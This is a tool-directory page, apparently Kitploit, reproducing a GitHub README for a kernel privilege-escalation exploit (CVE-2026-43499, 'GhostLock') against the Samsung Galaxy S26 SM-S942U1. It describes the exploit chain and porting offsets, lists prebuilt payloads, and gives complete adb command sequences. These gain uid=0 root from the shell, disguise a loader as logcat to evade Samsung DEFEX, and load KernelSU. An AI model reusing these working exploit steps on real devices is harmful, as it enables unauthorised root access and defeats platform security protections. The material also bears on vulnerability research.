Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
s26-m1q-ghostlock-selinux — Galaxy S26 (SM-S942U1/m1q) के लिए GhostLock CVE-2026-43499 रिसर्च: SELinux Permissive प्राप्त, KASLR + tracefs पोर्ट, uid=0 सीमा प्रलेखित | Kitploit
उपकरण/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगमोबाइल सुरक्षाबाइनरी शोषण
GitHubxrzcc/s26-m1q-ghostlock-selinux

s26-m1q-ghostlock-selinux

Galaxy S26 (SM-S942U1/m1q) के लिए GhostLock CVE-2026-43499 रिसर्च: SELinux Permissive प्राप्त, KASLR + tracefs पोर्ट, uid=0 सीमा प्रलेखित

रिपॉजिटरी देखें
61511 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — uid=0 root + KernelSU सक्रियण प्राप्त

Samsung Galaxy S26 (SM-S942U1, codename m1q, SoC SM8850 Snapdragon 8 Elite Gen2, kernel 6.12.30-android16-5-android16-5-pd30ff70, Android 16) पर CVE-2026-43499 (GhostLock) privilege escalation research।

✅ अंतिम परिणाम: uid=0 root + KernelSU सक्रियण प्राप्त

# exploit 后通过 root helper 验证
$ /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

# KernelSU late-load 后内核接口已就位
$ ./su_daemon_aarch64_pie --ksu-info
KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

$ getenforce
Enforcing   # late-load 后 SELinux 恢复 Enforcing,由 KernelSU 策略接管授权

शेल (uid 2000) से uid=0(root) तक प्रिविलेज एस्केलेशन, context=kernel (उच्चतम अनुमतियाँ); इसके बाद KernelSU late-load पूर्ण हुआ, kernel driver interface (version=32525) सक्रिय हुआ, SELinux को KernelSU sepolicy ने संभाल लिया।

मुख्य सफलता का मार्ग

monovibe/s26u-m3q-temp-root (S26 Ultra अस्थायी KernelSU root) मिला, इसका kernel commit pd30ff70 US संस्करण S942U1 से पूरी तरह मेल खाता है। मुख्य तंत्र dirty-pipe का उपयोग नहीं करता ("non-NULL write" सीमा को बायपास करता है):

  1. tracefs KASLR प्रोबिंग → slide (US संस्करण KASLR रैंडमाइज़ेशन, nokaslr नहीं)
  2. KernelSnitch mm_struct कोलिज़न + स्प्रे
  3. GhostLock राइट प्रिमिटिव (owner_null shape) → misc/simple_attr कैरियर (पूर्ण मनमाना पढ़ना/लिखना)
  4. uinput misc नोड पैच → controller/data दो fd + debugfs_u64 get/set
  5. नकली workqueue work item → call_usermodehelper_exec_work → uid=0 के रूप में su_daemon helper लॉन्च करें
  6. helper रूट सॉकेट बनाता है (temp_su.sock)

पोर्टिंग की मुख्य बातें (m3q → US संस्करण में 3 अंतर)

मदm3q मूल मानUS संस्करण मान
DEBUGFS_U64_FORMAT_OFF ("%llu\n" स्ट्रिंग ऑफ़सेट, सबसे महत्वपूर्ण)0x18be5e90x18be529
P0_KERNEL_PHYS_LOAD0x800000000xc7800000 (xbl_config प्रामाणिक)
app_uid जाँच की निचली सीमा100002000 (shell को अनुमति)

DEBUGFS_U64_FORMAT_OFF एक स्ट्रिंग लिटरल है (सिंबल नहीं), कंपाइलर लेआउट के कारण US संस्करण में यह 0xC0 से खिसक गया; m3q का मान US संस्करण में KVM की "GWVRn_EL1(1)" स्ट्रिंग की ओर इंगित करता है, जिससे read primitive का आउटपुट विकृत हो जाता है।

निर्देशिका संरचना

├── README.md
├── prebuilt/                                  # S26 预编译 payload + ksud(直接用,无需构建)
│   ├── preload-m1q-S942U1UES4AZG3.so          # monovibe fast-attr 变体(命令行 LD_PRELOAD,实测成功)
│   ├── cve-2026-43499-app.so                  # RMG physical-P0 oracle 变体(APP 手动选用)
│   └── ksud-m1q-S942U1UES4AZG3-kdp            # KernelSU loader(复用 m3q,实测 late-load version=32525)
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md   # 完整诊断(含 uid=0 成功记录)
├── m3q-temp-root/                            # monovibe/s26u-m3q-temp-root 移植(源码)
└── kallsyms/kallsyms.txt                      # 美版内核符号表(128307 符号)

ksud पहले से ही prebuilt/ksud-m1q-S942U1UES4AZG3-kdp में शामिल है (m3q का पुनः उपयोग, परीक्षण में late-load सफल रहा)।

पुनरुत्पादन: uid=0 root प्राप्त करना

सीधे prebuilt/ के तैयार payload + ksud का उपयोग करें (निर्माण की आवश्यकता नहीं):

adb push prebuilt/preload-m1q-S942U1UES4AZG3.so /data/local/tmp/preload.so
adb push prebuilt/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp
adb shell mkdir -p /data/local/tmp/cve-2026-43499-m1q-ues4azg3
# root helper su_daemon_aarch64_pie(24392B):从 m3q-temp-root/ 源码用 NDK r29 构建,
# 或从改造版 APP(lib/arm64-v8a/libcve43499root.so)提取后重命名
adb push su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
adb shell chmod 755 /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie

# 3. 运行 root-single(需补 PSELECT_MM_KICK_SLABS,否则卡在 "requires 0-16 kicker slabs" gate)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 \
  M3Q_REQUIRE_TRACEFS=1 M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 \
  M3Q_ACCEPT_PANIC_RISK=1 TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 \
  TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 \
  GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so sh"

# 4. 验证 root(exploit 失败会 KP 重启,等设备恢复后重跑 step 3,通常 1-2 次成功)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0

पुनरुत्पादन: KernelSU लेट-लोड सक्रियण (DEFEX बाधा पार हो चुकी है)

पिछले commit fa1bb14 में दर्ज था "KernelSU late-load को Samsung DEFEX immutable root बाधा का सामना करना पड़ा"। वास्तविक डिवाइस पर पहचान के बाद, late-load विफलता का असली मूल कारण DEFEX नहीं है, बल्कि यह है कि .ksud-stage स्रोत फ़ाइल कभी बनाई ही नहीं गई (ksud का stage_daemon_from() केवल rename करता है, stage फ़ाइल में कॉपी करना कॉलर की ज़िम्मेदारी है, और su_daemon के late-load wrapper में यह चरण छूट गया → rename ने ENOENT दिया, जिसे गलती से DEFEX अवरोधन मान लिया गया)।

# 5. 放置 stage 文件(shell uid 即可,在 /data/local/tmp 下)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 6. 通过 root 通道以 bind-logcat 伪装执行 ksud late-load(绕 DEFEX exec 限制)
#    --allow-shell 让 KernelSU 对 shell uid(2000) 自动授权
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(ksud_rc=0)。late-load 会 restorecon 关闭 temp_su.sock(bootstrap 桥按设计退出)

# 7. 验证 KernelSU 激活(temp_su.sock 关闭前,或重新 exploit 后)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

रीबूट के बाद su बहाल करें (payload/ksud/helper पहले से डिवाइस पर हैं, दोबारा push करने की आवश्यकता नहीं)

अस्थायी root हर बार पुनः आरंभ होने पर खो जाता है। पहली बार ऊपर दिए गए step 1-7 के अनुसार फ़ाइलें push करने के बाद, हर बार पुनः आरंभ करने पर केवल नीचे दिए गए 4 adb कमांड चलाने की आवश्यकता होती है:

# 1. exploit(失败会 KP 重启,等设备恢复 boot_completed 后重跑,通常 1-2 次成功)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 M3Q_REQUIRE_TRACEFS=1 \
  M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 M3Q_ACCEPT_PANIC_RISK=1 \
  TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 \
  TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 成功标志:stdout 含 "m3q-fast-attr-result mode=root root=1 uid=0",su_daemon(uid=0) 起来,getenforce=Permissive

# 2. 放置 stage 文件(late-load 必需,漏这步会 ENOENT)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 3. KernelSU late-load(root 通道 + bind-logcat 伪装绕 DEFEX,--allow-shell 授权 shell uid)
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(rc=0),late-load 后 temp_su.sock 被 restorecon 关闭,getenforce 恢复 Enforcing

# 4. 验证 KernelSU 激活(需重新跑 step 1 拿新 root 通道,或 late-load 后立即趁 sock 未关)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5
टूल डाउनलोड करें